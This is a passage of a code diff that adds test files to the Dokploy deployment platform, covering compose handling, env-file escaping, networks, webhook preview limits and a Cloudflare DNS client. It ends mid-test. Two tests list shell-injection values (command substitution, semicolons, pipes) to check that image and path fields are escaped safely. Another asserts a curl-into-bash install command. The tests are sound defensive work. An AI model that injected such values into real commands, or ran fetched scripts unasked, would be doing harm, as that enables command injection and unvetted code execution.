apps/dokploy/__test__/compose/domain/labels.test.ts

@@ -24,6 +24,7 @@ describe("createDomainLabels", () => {
 		stripPath: false,
 		middlewares: null,
 		forwardAuthEnabled: false,
+		enabled: true,
 	};
 
 	it("should create basic labels for web entrypoint", async () => {

apps/dokploy/__test__/compose/domain/raw-compose.test.ts

@@ -0,0 +1,59 @@
+import { addDomainToCompose } from "@dokploy/server/utils/docker/domain";
+import { execAsyncRemote } from "@dokploy/server/utils/process/execAsync";
+import { describe, expect, it, vi } from "vitest";
+
+vi.mock("@dokploy/server/utils/process/execAsync", async (importOriginal) => ({
+	...(await importOriginal<
+		typeof import("@dokploy/server/utils/process/execAsync")
+	>()),
+	execAsyncRemote: vi.fn(),
+}));
+
+describe("raw remote compose conversion (#4794)", () => {
+	it("uses the saved raw source and preserves supported mount syntax", async () => {
+		vi.mocked(execAsyncRemote).mockResolvedValue({
+			stdout: "services:\n  test:\n    image: alpine:latest\n",
+			stderr: "",
+		});
+
+		const compose = {
+			appName: "raw-stack",
+			composeFile: `
+services:
+  test:
+    image: alpine:latest
+    volumes:
+      - type: tmpfs
+        target: /scratch
+      - type: volume
+        source: test-data
+        target: /data
+    tmpfs:
+      - /cache
+volumes:
+  test-data:
+`,
+			composePath: "./docker-compose.yml",
+			composeType: "stack",
+			isolatedDeployment: false,
+			isolatedDeploymentsVolume: false,
+			randomize: false,
+			serverId: "remote-server",
+			sourceType: "raw",
+			suffix: "",
+		} as unknown as Parameters<typeof addDomainToCompose>[0];
+
+		const converted = await addDomainToCompose(compose, []);
+
+		expect(converted?.services?.test?.volumes).toEqual([
+			{ type: "tmpfs", target: "/scratch" },
+			{
+				type: "volume",
+				source: "test-data",
+				target: "/data",
+			},
+		]);
+		expect(converted?.services?.test?.tmpfs).toEqual(["/cache"]);
+		expect(execAsyncRemote).not.toHaveBeenCalled();
+	});
+});

apps/dokploy/__test__/compose/env-file-literals.test.ts

@@ -0,0 +1,102 @@
+import { execFileSync } from "node:child_process";
+import { mkdirSync, rmSync, writeFileSync } from "node:fs";
+import { join } from "node:path";
+import { getCreateEnvFileCommand } from "@dokploy/server/utils/builders/compose";
+import { afterEach, describe, expect, it } from "vitest";
+
+// Regression coverage for https://github.com/Dokploy/dokploy/issues/4694 —
+// values must survive Docker Compose's own `.env` parsing, not just base64 decode.
+const appName = `env-file-literals-${process.pid}`;
+const projectPath = join(process.cwd(), ".docker", "compose", appName);
+const codePath = join(projectPath, "code");
+
+afterEach(() => {
+	try {
+		execFileSync("docker", ["compose", "down", "--remove-orphans"], {
+			cwd: codePath,
+			stdio: "ignore",
+		});
+	} catch {
+		// Project may not have been created (e.g. an earlier assertion failed).
+	}
+	rmSync(projectPath, { force: true, recursive: true });
+});
+
+const cases: Record<string, string> = {
+	PASSWORD: "pa$$word",
+	SPECIAL: '!"#$%&/()=?',
+	NESTED_JSON: '{"nested":{"a":1}}',
+	MAIL_PASSWORD: "abc#de",
+	TRAILING_BACKSLASH: "trailing\\",
+	QUOTE_INSIDE: 'she said "hi"',
+	APOSTROPHE: "it's a test",
+	UNICODE: "héllo wörld 日本語 🚀",
+	MULTILINE_PEM: "-----BEGIN KEY-----\nabc123\n-----END KEY-----",
+	APP_URL: "https://example.com",
+	ASSET_URL: "https://example.com",
+	DB_HOST: "localhost",
+};
+
+// How each value must be typed in the UI so the (unchanged) dotenv input
+// parser resolves it to the raw string in `cases` above.
+const inputEncoding: Record<string, string> = {
+	PASSWORD: "pa$$word",
+	SPECIAL: `'!"#$%&/()=?'`,
+	NESTED_JSON: '{"nested":{"a":1}}',
+	MAIL_PASSWORD: `"abc#de"`,
+	TRAILING_BACKSLASH: "trailing\\",
+	QUOTE_INSIDE: 'she said "hi"',
+	APOSTROPHE: "it's a test",
+	UNICODE: "héllo wörld 日本語 🚀",
+	MULTILINE_PEM: '"-----BEGIN KEY-----\nabc123\n-----END KEY-----"',
+	APP_URL: "https://example.com",
+	ASSET_URL: '"${APP_URL}"',
+	DB_HOST: '"${UNDEFINED_HOST:-localhost}"',
+};
+
+describe("getCreateEnvFileCommand", () => {
+	it("writes special environment values that Docker Compose reads back literally", () => {
+		mkdirSync(codePath, { recursive: true });
+
+		const serviceEnv = Object.entries(inputEncoding)
+			.map(([key, value]) => `${key}=${value}`)
+			.join("\n");
+
+		const command = getCreateEnvFileCommand({
+			appName,
+			composePath: "docker-compose.yml",
+			env: serviceEnv,
+			randomize: false,
+			suffix: "",
+			serverId: null,
+			environment: { project: { env: "" }, env: "" },
+		} as Parameters<typeof getCreateEnvFileCommand>[0]);
+
+		execFileSync("bash", ["-c", command]);
+
+		const composeFile = `services:\n  test:\n    image: busybox\n    environment:\n${Object.keys(
+			cases,
+		)
+			.map((key) => `      - ${key}=\${${key}}`)
+			.join("\n")}\n`;
+		writeFileSync(join(codePath, "docker-compose.yml"), composeFile);
+
+		const dumpScript = `for k in ${Object.keys(cases).join(" ")}; do printf '%s\\0' "$k"; eval "printf '%s\\0' \\"\\$$k\\""; done`;
+
+		const out = execFileSync(
+			"docker",
+			["compose", "run", "--rm", "-T", "test", "sh", "-c", dumpScript],
+			{ cwd: codePath, encoding: "utf8" },
+		);
+
+		const parts = out.split("\0");
+		const actual: Record<string, string> = {};
+		for (let i = 0; i < parts.length - 1; i += 2) {
+			actual[parts[i] as string] = parts[i + 1] as string;
+		}
+
+		for (const [key, value] of Object.entries(cases)) {
+			expect(actual[key], key).toBe(value);
+		}
+	}, 60000);
+});

apps/dokploy/__test__/compose/env-file-preserved.test.ts

@@ -0,0 +1,45 @@
+import { getBuildComposeCommand } from "@dokploy/server/utils/builders/compose";
+import { describe, expect, it, vi } from "vitest";
+
+// Compose now has a `createEnvFile` toggle (default true), mirroring the
+// Application builder's flag: when disabled, Dokploy never writes `.env`,
+// so a repo-tracked file survives untouched.
+vi.mock("@dokploy/server/utils/docker/domain", () => ({
+	writeDomainsToCompose: vi.fn().mockResolvedValue(""),
+}));
+
+const baseCompose = {
+	appName: "env-file-toggle",
+	sourceType: "raw",
+	command: "",
+	composePath: "docker-compose.yml",
+	composeType: "docker-compose",
+	isolatedDeployment: false,
+	randomize: false,
+	suffix: "",
+	serverId: null,
+	env: "FOO=bar",
+	mounts: [],
+	domains: [],
+	environment: { project: { env: "" }, env: "" },
+} as unknown as Parameters<typeof getBuildComposeCommand>[0];
+
+describe("getBuildComposeCommand createEnvFile toggle", () => {
+	it("createEnvFile: false never writes the .env file", async () => {
+		const command = await getBuildComposeCommand({
+			...baseCompose,
+			createEnvFile: false,
+		});
+
+		expect(command).not.toContain("base64 -d >");
+	});
+
+	it("createEnvFile: true (default) writes Dokploy's vars", async () => {
+		const command = await getBuildComposeCommand({
+			...baseCompose,
+			createEnvFile: true,
+		});
+
+		expect(command).toContain("base64 -d >");
+	});
+});

apps/dokploy/__test__/compose/network/service-networks.test.ts

@@ -0,0 +1,199 @@
+import type { Compose, ComposeSpecification } from "@dokploy/server";
+import {
+	applyServiceNetworks,
+	declareUsedNetworksInRoot,
+	resolveServiceNetworks,
+} from "@dokploy/server";
+import { db } from "@dokploy/server/db";
+import { beforeEach, expect, test, type vi } from "vitest";
+import { parse } from "yaml";
+
+const findManyMock = db.query.network.findMany as ReturnType<typeof vi.fn>;
+
+beforeEach(() => {
+	findManyMock.mockReset();
+	findManyMock.mockResolvedValue([]);
+});
+
+const baseCompose = {
+	serverId: null,
+	isolatedDeployment: false,
+} as unknown as Compose;
+
+const withServiceNetworks = (
+	serviceNetworks: Compose["serviceNetworks"],
+): Compose => ({ ...baseCompose, serviceNetworks });
+
+test("applyServiceNetworks: no-op when serviceNetworks is empty", async () => {
+	const result = parse(`
+services:
+  web:
+    image: nginx
+`) as ComposeSpecification;
+
+	const injected = await applyServiceNetworks(result, withServiceNetworks([]));
+
+	expect(injected.size).toBe(0);
+	expect(result.services?.web?.networks).toBeUndefined();
+	expect(findManyMock).not.toHaveBeenCalled();
+});
+
+test("applyServiceNetworks: injects assigned network by networkId", async () => {
+	findManyMock.mockResolvedValue([{ networkId: "net-1", name: "shared-net" }]);
+
+	const result = parse(`
+services:
+  web:
+    image: nginx
+`) as ComposeSpecification;
+
+	const injected = await applyServiceNetworks(
+		result,
+		withServiceNetworks([
+			{
+				serviceName: "web",
+				networkIds: ["net-1"],
+				detachDokployNetwork: false,
+			},
+		]),
+	);
+
+	expect(injected.has("shared-net")).toBe(true);
+	expect(result.services?.web?.networks).toContain("shared-net");
+});
+
+test("applyServiceNetworks: detach removes dokploy-network and default", async () => {
+	const result = parse(`
+services:
+  db:
+    image: postgres
+    networks:
+      - dokploy-network
+      - default
+`) as ComposeSpecification;
+
+	const injected = await applyServiceNetworks(
+		result,
+		withServiceNetworks([
+			{ serviceName: "db", networkIds: [], detachDokployNetwork: true },
+		]),
+	);
+
+	expect(injected.size).toBe(0);
+	expect(result.services?.db?.networks).not.toContain("dokploy-network");
+	expect(result.services?.db?.networks).not.toContain("default");
+});
+
+test("applyServiceNetworks: unknown networkId is skipped", async () => {
+	findManyMock.mockResolvedValue([]);
+
+	const result = parse(`
+services:
+  web:
+    image: nginx
+`) as ComposeSpecification;
+
+	const injected = await applyServiceNetworks(
+		result,
+		withServiceNetworks([
+			{
+				serviceName: "web",
+				networkIds: ["missing"],
+				detachDokployNetwork: false,
+			},
+		]),
+	);
+
+	expect(injected.size).toBe(0);
+});
+
+test("applyServiceNetworks: skips services that don't exist in the compose", async () => {
+	findManyMock.mockResolvedValue([{ networkId: "net-1", name: "shared-net" }]);
+
+	const result = parse(`
+services:
+  web:
+    image: nginx
+`) as ComposeSpecification;
+
+	const injected = await applyServiceNetworks(
+		result,
+		withServiceNetworks([
+			{
+				serviceName: "ghost",
+				networkIds: ["net-1"],
+				detachDokployNetwork: false,
+			},
+		]),
+	);
+
+	expect(injected.size).toBe(0);
+	expect(result.services?.web?.networks).toBeUndefined();
+});
+
+test("declareUsedNetworksInRoot: declares dokploy-network only when used", () => {
+	const used = parse(`
+services:
+  web:
+    image: nginx
+    networks:
+      - dokploy-network
+`) as ComposeSpecification;
+	declareUsedNetworksInRoot(used, new Set());
+	expect(used.networks).toHaveProperty("dokploy-network");
+
+	const unused = parse(`
+services:
+  web:
+    image: nginx
+    networks:
+      - default
+`) as ComposeSpecification;
+	declareUsedNetworksInRoot(unused, new Set());
+	expect(unused.networks ?? {}).not.toHaveProperty("dokploy-network");
+});
+
+test("declareUsedNetworksInRoot: declares injected networks that are used", () => {
+	const result = parse(`
+services:
+  web:
+    image: nginx
+    networks:
+      - shared-net
+`) as ComposeSpecification;
+
+	declareUsedNetworksInRoot(result, new Set(["shared-net", "unused-net"]));
+
+	expect(result.networks).toHaveProperty("shared-net");
+	expect(result.networks ?? {}).not.toHaveProperty("unused-net");
+});
+
+test("resolveServiceNetworks: returns dokploy-network by default", async () => {
+	const resolved = await resolveServiceNetworks({});
+	expect(resolved).toEqual([{ Target: "dokploy-network" }]);
+	expect(findManyMock).not.toHaveBeenCalled();
+});
+
+test("resolveServiceNetworks: omits dokploy-network when detached", async () => {
+	const resolved = await resolveServiceNetworks({ detachDokployNetwork: true });
+	expect(resolved).toEqual([]);
+});
+
+test("resolveServiceNetworks: appends overlay networks by networkId", async () => {
+	findManyMock.mockResolvedValue([{ name: "overlay-a" }]);
+
+	const resolved = await resolveServiceNetworks({ networkIds: ["net-a"] });
+
+	expect(resolved).toEqual([
+		{ Target: "dokploy-network" },
+		{ Target: "overlay-a" },
+	]);
+});
+
+test("resolveServiceNetworks: networkSwarm override takes precedence", async () => {
+	const override = [{ Target: "custom-net" }];
+	const resolved = await resolveServiceNetworks({ networkSwarm: override });
+
+	expect(resolved).toBe(override);
+	expect(findManyMock).not.toHaveBeenCalled();
+});

apps/dokploy/__test__/compose/volume/volume-services.test.ts

@@ -42,6 +42,39 @@ test("Add suffix to volumes declared directly in services", () => {
 	);
 });
 
+const composeFileAccessMode = `
+version: "3.8"
+
+services:
+  web:
+    image: nginx:alpine
+    volumes:
+      - web_config:/etc/nginx/conf.d:ro
+      - certs/sub:/etc/certs:Z
+`;
+
+test("Add suffix to volumes preserves access mode (:ro, :z, :Z)", () => {
+	const composeData = parse(composeFileAccessMode) as ComposeSpecification;
+
+	const suffix = generateRandomHash();
+
+	if (!composeData.services) {
+		return;
+	}
+
+	const updatedComposeData = addSuffixToVolumesInServices(
+		composeData.services,
+		suffix,
+	);
+
+	expect(updatedComposeData.web?.volumes).toContain(
+		`web_config-${suffix}:/etc/nginx/conf.d:ro`,
+	);
+	expect(updatedComposeData.web?.volumes).toContain(
+		`certs-${suffix}/sub:/etc/certs:Z`,
+	);
+});
+
 const composeFileTypeVolume = `
 version: "3.8"
 

apps/dokploy/__test__/deploy/db-service-dockerimage-injection.test.ts

@@ -0,0 +1,41 @@
+import { execSync } from "node:child_process";
+import { existsSync, rmSync } from "node:fs";
+import { parse, quote } from "shell-quote";
+import { describe, expect, it } from "vitest";
+
+// The six database deploy functions (postgres/mysql/mariadb/mongo/redis/libsql)
+// build `docker pull ${quote([dockerImage])}` for the remote (execAsyncRemote)
+// path. `docker` is replaced by `:` so only the injection surface is exercised.
+const MARK = `/tmp/dokploy_dbimg_pwned_${process.pid}`;
+
+const PAYLOADS = [
+	"$(touch %MARK%)",
+	"`touch %MARK%`",
+	"redis:7; touch %MARK%",
+	"redis:7 && touch %MARK%",
+	"redis:7 | touch %MARK%",
+];
+
+describe("database service dockerImage command injection", () => {
+	it("does not execute injected commands from dockerImage", () => {
+		for (const template of PAYLOADS) {
+			if (existsSync(MARK)) rmSync(MARK);
+			const dockerImage = template.replace("%MARK%", MARK);
+			const command = `: pull ${quote([dockerImage])}`;
+			try {
+				execSync(command, { shell: "/bin/sh", stdio: "ignore" });
+			} catch {}
+			expect(existsSync(MARK)).toBe(false);
+		}
+		if (existsSync(MARK)) rmSync(MARK);
+	});
+
+	it("keeps a legitimate image tag intact", () => {
+		expect(parse(quote(["postgres:16.4-alpine"]))).toEqual([
+			"postgres:16.4-alpine",
+		]);
+		expect(parse(quote(["ghcr.io/org/db:latest"]))).toEqual([
+			"ghcr.io/org/db:latest",
+		]);
+	});
+});

apps/dokploy/__test__/deploy/docker-build-injection.test.ts

@@ -0,0 +1,66 @@
+import { execSync } from "node:child_process";
+import { existsSync, rmSync } from "node:fs";
+import { parse, quote } from "shell-quote";
+import { describe, expect, it } from "vitest";
+
+// Reproduces the escaping applied at the docker build/pull sinks and asserts no
+// payload can break out of the command. `docker`/`cd` are replaced by `:` so the
+// test exercises only the injection surface, not real docker.
+const MARK = `/tmp/dokploy_docker_pwned_${process.pid}`;
+
+const runAndCheckSafe = (command: string) => {
+	if (existsSync(MARK)) rmSync(MARK);
+	try {
+		execSync(command, { shell: "/bin/sh", stdio: "ignore" });
+	} catch {
+		// no-op stand-ins may exit non-zero; only the marker matters.
+	}
+	const fired = existsSync(MARK);
+	if (existsSync(MARK)) rmSync(MARK);
+	return !fired;
+};
+
+const PAYLOADS = [
+	"$(touch %MARK%)",
+	"`touch %MARK%`",
+	"x; touch %MARK%",
+	"x && touch %MARK%",
+	"x | touch %MARK%",
+];
+
+describe("docker build/pull command injection", () => {
+	it("dockerImage (buildRemoteDocker: docker pull / echo) is escaped", () => {
+		for (const p of PAYLOADS) {
+			const dockerImage = p.replace("%MARK%", MARK);
+			const command = `: pull ${quote([dockerImage])}; : echo ${quote([`Pulling ${dockerImage}`])}`;
+			expect(runAndCheckSafe(command)).toBe(true);
+		}
+	});
+
+	it("dockerContextPath (docker-file: cd) is escaped", () => {
+		for (const p of PAYLOADS) {
+			const dockerContextPath = p.replace("%MARK%", MARK);
+			const command = `: cd ${quote([dockerContextPath])}`;
+			expect(runAndCheckSafe(command)).toBe(true);
+		}
+	});
+
+	it("publishDirectory (nixpacks: docker cp source path) is escaped", () => {
+		for (const p of PAYLOADS) {
+			const publishDirectory = p.replace("%MARK%", MARK);
+			const containerId = "buildabc";
+			const command = `: cp ${quote([`${containerId}:/app/${publishDirectory}/.`])} /dest`;
+			expect(runAndCheckSafe(command)).toBe(true);
+		}
+	});
+
+	it("keeps a legitimate image / path intact as a single token", () => {
+		// Escaping may add backslashes (e.g. before ':'), but the shell must parse
+		// the result back to exactly the original single token.
+		expect(parse(quote(["nginx:1.27-alpine"]))).toEqual(["nginx:1.27-alpine"]);
+		expect(parse(quote(["registry.io/team/app:tag"]))).toEqual([
+			"registry.io/team/app:tag",
+		]);
+		expect(parse(quote(["dist/static"]))).toEqual(["dist/static"]);
+	});
+});

apps/dokploy/__test__/deploy/env-file-literals-dockerfile.test.ts

@@ -0,0 +1,43 @@
+import { execFileSync } from "node:child_process";
+import { mkdirSync, readFileSync, rmSync } from "node:fs";
+import { join } from "node:path";
+import { createEnvFileCommand } from "@dokploy/server/utils/builders/utils";
+import { parse } from "dotenv";
+import { afterEach, describe, expect, it } from "vitest";
+
+// Unlike compose's .env, this one is read by the app's own build tooling
+// (generic dotenv, e.g. Next.js/Vite) — must stay unquoted, not Compose-escaped.
+const appName = `env-file-literals-dockerfile-${process.pid}`;
+const projectPath = join(process.cwd(), ".docker", "compose", appName);
+const codePath = join(projectPath, "code");
+const dockerFilePath = join(codePath, "Dockerfile");
+
+afterEach(() => rmSync(projectPath, { force: true, recursive: true }));
+
+const cases: Record<string, string> = {
+	PASSWORD: "pa$$word",
+	NESTED_JSON: '{"nested":{"a":1}}',
+	QUOTE_INSIDE: 'she said "hi"',
+	BACKSLASH: "back\\slash",
+	UNICODE: "héllo wörld 日本語 🚀",
+};
+
+describe("createEnvFileCommand", () => {
+	it("writes special environment values that a generic dotenv parser reads back literally", () => {
+		mkdirSync(codePath, { recursive: true });
+
+		const serviceEnv = Object.entries(cases)
+			.map(([key, value]) => `${key}=${value}`)
+			.join("\n");
+
+		const command = createEnvFileCommand(dockerFilePath, serviceEnv, "", "");
+		execFileSync("bash", ["-c", command]);
+
+		const written = readFileSync(join(codePath, ".env"), "utf8");
+		const parsed = parse(written);
+
+		for (const [key, value] of Object.entries(cases)) {
+			expect(parsed[key], key).toBe(value);
+		}
+	});
+});

apps/dokploy/__test__/deploy/github-webhook-handler.test.ts

@@ -12,6 +12,8 @@ const mocks = vi.hoisted(() => ({
 	queueAdd: vi.fn(),
 	verify: vi.fn(),
 	shouldDeploy: vi.fn(),
+	createPreviewDeployment: vi.fn(),
+	findPreviewDeploymentByApplicationId: vi.fn(),
 }));
 
 vi.mock("drizzle-orm", () => ({
@@ -64,10 +66,11 @@ vi.mock("@dokploy/server", () => ({
 	IS_CLOUD: false,
 	shouldDeploy: mocks.shouldDeploy,
 	checkUserRepositoryPermissions: vi.fn(),
-	createPreviewDeployment: vi.fn(),
+	createPreviewDeployment: mocks.createPreviewDeployment,
 	createSecurityBlockedComment: vi.fn(),
 	findGithubById: vi.fn(),
-	findPreviewDeploymentByApplicationId: vi.fn(),
+	findPreviewDeploymentByApplicationId:
+		mocks.findPreviewDeploymentByApplicationId,
 	findPreviewDeploymentsByPullRequestId: vi.fn(),
 	getBitbucketHeaders: vi.fn(() => ({})),
 	removePreviewDeployment: vi.fn(),
@@ -321,3 +324,157 @@ describe("GitHub app webhook auto-deploy", () => {
 		expect(res.json).toHaveBeenCalledWith({ message: "No apps to deploy" });
 	});
 });
+
+describe("GitHub app webhook preview deployments", () => {
+	const createApplication = (
+		overrides: Record<string, unknown> = {},
+	): Record<string, unknown> => ({
+		applicationId: "application-id",
+		name: "my-app",
+		serverId: null,
+		previewLabels: [],
+		previewLimit: 3,
+		previewDeployments: [],
+		previewRequireCollaboratorPermissions: false,
+		...overrides,
+	});
+
+	const createPreviewDeployments = (total: number) =>
+		Array.from({ length: total }, (_, index) => ({
+			previewDeploymentId: `existing-preview-${index}`,
+		}));
+
+	const createPullRequestRequest = (action: string) =>
+		({
+			headers: {
+				"x-hub-signature-256": "sha256=test-signature",
+				"x-github-event": "pull_request",
+			},
+			body: {
+				installation: {
+					id: 12345,
+				},
+				action,
+				pull_request: {
+					id: 987,
+					number: 42,
+					title: "feat: add preview",
+					html_url: "https://github.com/agentHits/dokploy/pull/42",
+					labels: [],
+					user: {
+						login: "agentHits",
+					},
+					head: {
+						ref: "feature",
+						sha: "abc123",
+					},
+					base: {
+						ref: "main",
+					},
+				},
+				repository: {
+					name: "dokploy",
+					owner: {
+						login: "agentHits",
+					},
+				},
+			},
+		}) as unknown as NextApiRequest;
+
+	beforeEach(() => {
+		vi.clearAllMocks();
+		mocks.githubFindFirst.mockResolvedValue({
+			githubId: "github-provider-id",
+			githubInstallationId: 12345,
+			githubWebhookSecret: "webhook-secret",
+		});
+		mocks.verify.mockResolvedValue(true);
+		mocks.queueAdd.mockResolvedValue({ id: "job-id" });
+		mocks.createPreviewDeployment.mockResolvedValue({
+			previewDeploymentId: "new-preview-id",
+		});
+		mocks.findPreviewDeploymentByApplicationId.mockResolvedValue(undefined);
+	});
+
+	it("redeploys an existing preview even when the limit is reached", async () => {
+		mocks.applicationsFindMany.mockResolvedValue([
+			createApplication({
+				previewLimit: 2,
+				previewDeployments: createPreviewDeployments(3),
+			}),
+		]);
+		mocks.findPreviewDeploymentByApplicationId.mockResolvedValue({
+			previewDeploymentId: "existing-preview-0",
+		});
+		const res = createResponse();
+
+		await handler(createPullRequestRequest("synchronize"), res);
+
+		expect(mocks.createPreviewDeployment).not.toHaveBeenCalled();
+		expect(mocks.queueAdd).toHaveBeenCalledWith(
+			"deployments",
+			expect.objectContaining({
+				applicationId: "application-id",
+				applicationType: "application-preview",
+				previewDeploymentId: "existing-preview-0",
+				type: "deploy",
+			}),
+			expect.objectContaining({
+				removeOnComplete: true,
+				removeOnFail: true,
+			}),
+		);
+		expect(res.status).toHaveBeenCalledWith(200);
+	});
+
+	it("does not create a new preview once the limit is reached", async () => {
+		mocks.applicationsFindMany.mockResolvedValue([
+			createApplication({
+				previewLimit: 2,
+				previewDeployments: createPreviewDeployments(2),
+			}),
+		]);
+		const res = createResponse();
+
+		await handler(createPullRequestRequest("opened"), res);
+
+		expect(mocks.createPreviewDeployment).not.toHaveBeenCalled();
+		expect(mocks.queueAdd).not.toHaveBeenCalled();
+		expect(res.status).toHaveBeenCalledWith(200);
+	});
+
+	it("falls back to the default limit when none is configured", async () => {
+		mocks.applicationsFindMany.mockResolvedValue([
+			createApplication({
+				previewLimit: null,
+				previewDeployments: createPreviewDeployments(2),
+			}),
+		]);
+		const res = createResponse();
+
+		await handler(createPullRequestRequest("opened"), res);
+
+		expect(mocks.createPreviewDeployment).toHaveBeenCalledWith(
+			expect.objectContaining({
+				applicationId: "application-id",
+				branch: "feature",
+				pullRequestId: 987,
+				pullRequestNumber: 42,
+			}),
+		);
+		expect(mocks.queueAdd).toHaveBeenCalledWith(
+			"deployments",
+			expect.objectContaining({
+				applicationId: "application-id",
+				applicationType: "application-preview",
+				previewDeploymentId: "new-preview-id",
+				type: "deploy",
+			}),
+			expect.objectContaining({
+				removeOnComplete: true,
+				removeOnFail: true,
+			}),
+		);
+		expect(res.status).toHaveBeenCalledWith(200);
+	});
+});

apps/dokploy/__test__/deploy/railpack.command.test.ts

@@ -0,0 +1,113 @@
+import type { ApplicationNested } from "@dokploy/server/utils/builders";
+import { getRailpackCommand } from "@dokploy/server/utils/builders/railpack";
+import { describe, expect, it } from "vitest";
+
+const createApplication = (
+	overrides: Partial<ApplicationNested> = {},
+): ApplicationNested =>
+	({
+		appName: "test-app",
+		buildType: "railpack",
+		sourceType: "git",
+		buildPath: "/",
+		railpackVersion: "0.15.4",
+		env: "TEST_VAR=one",
+		cleanCache: false,
+		environment: {
+			project: {
+				env: "",
+			},
+			env: "",
+		},
+		...overrides,
+	}) as unknown as ApplicationNested;
+
+const getSecretsHash = (command: string) => {
+	const match = command.match(/secrets-hash=([a-f0-9]{64})/);
+	if (!match?.[1]) {
+		throw new Error("secrets-hash build arg was not found");
+	}
+
+	return match[1];
+};
+
+describe("getRailpackCommand", () => {
+	it("includes secrets-hash without clean cache", () => {
+		const command = getRailpackCommand(createApplication());
+
+		expect(command).toContain("--build-arg secrets-hash=");
+		expect(command).not.toContain("cache-key=");
+	});
+
+	it("includes cache-key only when clean cache is enabled", () => {
+		const command = getRailpackCommand(
+			createApplication({
+				cleanCache: true,
+			}),
+		);
+
+		expect(command).toContain("--build-arg secrets-hash=");
+		expect(command).toContain("--build-arg cache-key=");
+	});
+
+	it("installs Railpack through sudo for non-root users", () => {
+		const command = getRailpackCommand(createApplication());
+
+		expect(command).toContain(
+			'$SUDO_CMD bash -c "$(curl -fsSL https://railpack.com/install.sh)"',
+		);
+		expect(command).toContain("sudo -n true 2>/dev/null");
+	});
+
+	it("changes secrets-hash when an environment value changes", () => {
+		const firstCommand = getRailpackCommand(
+			createApplication({
+				env: "TEST_VAR=one",
+			}),
+		);
+		const secondCommand = getRailpackCommand(
+			createApplication({
+				env: "TEST_VAR=two",
+			}),
+		);
+
+		expect(getSecretsHash(firstCommand)).not.toEqual(
+			getSecretsHash(secondCommand),
+		);
+	});
+
+	it("changes secrets-hash when referenced project or environment values change", () => {
+		const firstCommand = getRailpackCommand(
+			createApplication({
+				env: [
+					"PROJECT_VALUE=${{project.SHARED_VALUE}}",
+					"ENVIRONMENT_VALUE=${{environment.SHARED_VALUE}}",
+				].join("\n"),
+				environment: {
+					project: {
+						env: "SHARED_VALUE=one",
+					},
+					env: "SHARED_VALUE=alpha",
+				},
+			} as Partial<ApplicationNested>),
+		);
+		const secondCommand = getRailpackCommand(
+			createApplication({
+				env: [
+					"PROJECT_VALUE=${{project.SHARED_VALUE}}",
+					"ENVIRONMENT_VALUE=${{environment.SHARED_VALUE}}",
+				].join("\n"),
+				environment: {
+					project: {
+						env: "SHARED_VALUE=two",
+					},
+					env: "SHARED_VALUE=beta",
+				},
+			} as Partial<ApplicationNested>),
+		);
+
+		expect(getSecretsHash(firstCommand)).not.toEqual(
+			getSecretsHash(secondCommand),
+		);
+	});
+});

apps/dokploy/__test__/deploy/should-deploy.test.ts

@@ -16,6 +16,30 @@ describe("shouldDeploy", () => {
 		expect(shouldDeploy(["src/**"], ["docs/readme.md"])).toBe(false);
 	});
 
+	it("should apply multiple negated watch paths as one pattern set", () => {
+		const watchPaths = ["!CHANGELOG.md", "!VERSION", "!tests/**"];
+
+		expect(shouldDeploy(watchPaths, ["CHANGELOG.md"])).toBe(false);
+		expect(shouldDeploy(watchPaths, ["VERSION"])).toBe(false);
+		expect(shouldDeploy(watchPaths, ["tests/unit/example.test.ts"])).toBe(
+			false,
+		);
+	});
+
+	it("should deploy when a changed file remains after exclusions", () => {
+		const watchPaths = ["!CHANGELOG.md", "!VERSION", "!tests/**"];
+
+		expect(shouldDeploy(watchPaths, ["VERSION", "src/index.ts"])).toBe(true);
+	});
+
+	it("should combine positive and negated watch paths", () => {
+		const watchPaths = ["src/**", "!src/**/*.test.ts"];
+
+		expect(shouldDeploy(watchPaths, ["src/index.ts"])).toBe(true);
+		expect(shouldDeploy(watchPaths, ["src/index.test.ts"])).toBe(false);
+		expect(shouldDeploy(watchPaths, ["docs/readme.md"])).toBe(false);
+	});
+
 	it("should not throw when modified files contain non-string values", () => {
 		expect(() =>
 			shouldDeploy(["src/**"], ["src/index.ts", undefined, null] as any),

apps/dokploy/__test__/dns/cloudflare.test.ts

@@ -0,0 +1,432 @@
+import { beforeEach, describe, expect, it, vi } from "vitest";
+
+const mockFetch = vi.fn();
+global.fetch = mockFetch as typeof fetch;
+
+import { cloudflareClient } from "@dokploy/server/utils/dns/cloudflare";
+
+const jsonResponse = (body: unknown, ok = true, status = 200) =>
+	({
+		ok,
+		status,
+		json: async () => body,
+	}) as Response;
+
+const cfSuccess = (result: unknown) =>
+	jsonResponse({ success: true, errors: [], result });
+
+const cfError = (message: string, status = 400) =>
+	jsonResponse(
+		{ success: false, errors: [{ code: 1, message }] },
+		false,
+		status,
+	);
+
+const config = { providerType: "cloudflare" as const, apiToken: "cf-token" };
+
+beforeEach(() => {
+	mockFetch.mockReset();
+});
+
+describe("cloudflareClient.listZones", () => {
+	it("returns a single page of zones", async () => {
+		mockFetch.mockResolvedValue(cfSuccess([{ id: "z1", name: "example.com" }]));
+
+		const zones = await cloudflareClient.listZones(config);
+
+		expect(zones).toEqual([{ id: "z1", name: "example.com" }]);
+		expect(mockFetch).toHaveBeenCalledTimes(1);
+		const [url] = mockFetch.mock.calls[0] as [string];
+		expect(url).toContain("/zones?per_page=50&page=1");
+	});
+
+	it("paginates until a short page is returned", async () => {
+		const page = (count: number) =>
+			cfSuccess(
+				Array.from({ length: count }, (_, i) => ({
+					id: `z${i}`,
+					name: `zone${i}.com`,
+				})),
+			);
+		mockFetch.mockResolvedValueOnce(page(50)).mockResolvedValueOnce(page(3));
+
+		const zones = await cloudflareClient.listZones(config);
+
+		expect(zones).toHaveLength(53);
+		expect(mockFetch).toHaveBeenCalledTimes(2);
+		expect(mockFetch.mock.calls[1]?.[0]).toContain("page=2");
+	});
+});
+
+describe("cloudflareClient.listRecords", () => {
+	it("lists records for a zone", async () => {
+		mockFetch.mockResolvedValue(
+			cfSuccess([
+				{
+					id: "r1",
+					type: "A",
+					name: "app.example.com",
+					content: "1.2.3.4",
+					ttl: 1,
+				},
+			]),
+		);
+
+		const records = await cloudflareClient.listRecords(config, "zone-1");
+
+		expect(records).toEqual([
+			{
+				id: "r1",
+				type: "A",
+				name: "app.example.com",
+				content: "1.2.3.4",
+				ttl: 1,
+			},
+		]);
+		expect(mockFetch.mock.calls[0]?.[0]).toContain("/zones/zone-1/dns_records");
+	});
+});
+
+describe("cloudflareClient MX priority", () => {
+	it("inlines the priority into the content when listing", async () => {
+		mockFetch.mockResolvedValue(
+			cfSuccess([
+				{
+					id: "mx-1",
+					type: "MX",
+					name: "example.com",
